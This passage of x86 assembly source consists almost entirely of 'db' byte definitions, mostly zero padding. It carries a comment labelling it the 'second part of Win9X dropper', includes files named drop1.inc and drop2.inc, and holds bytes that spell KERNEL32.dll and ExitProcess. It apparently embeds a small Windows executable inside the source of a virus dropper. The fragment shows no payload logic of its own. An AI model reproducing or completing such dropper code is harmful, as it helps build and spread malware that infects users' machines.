; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[drop1.inc]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[drop2.inc]ΔΔΔ +;second part of Win9X dropper + db 0FFh ; + db 25h ; % + db 30h ; 0 + db 50h ; P + db 40h ; @ + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 28h ; ( + db 50h ; P + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 38h ; 8 + db 50h ; P + db 0 ; + db 0 ; + db 30h ; 0 + db 50h ; P + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 46h ; F + db 50h ; P + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 46h ; F + db 50h ; P + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 4Bh ; K + db 45h ; E + db 52h ; R + db 4Eh ; N + db 45h ; E + db 4Ch ; L + db 33h ; 3 + db 32h ; 2 + db 2Eh ; . + db 64h ; d + db 6Ch ; l + db 6Ch ; l + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 45h ; E + db 78h ; x + db 69h ; i + db 74h ; t + db 50h ; P + db 72h ; r + db 6Fh ; o + db 63h ; c + db 65h ; e + db 73h ; s + db 73h ; s + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 30h ; 0 + db 0 ; + db 0 ; + db 0Ch ; + db 0 ; + db 0 ; + db 0 ; + db 2 ; + db 30h ; 0 + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 0 ; + db 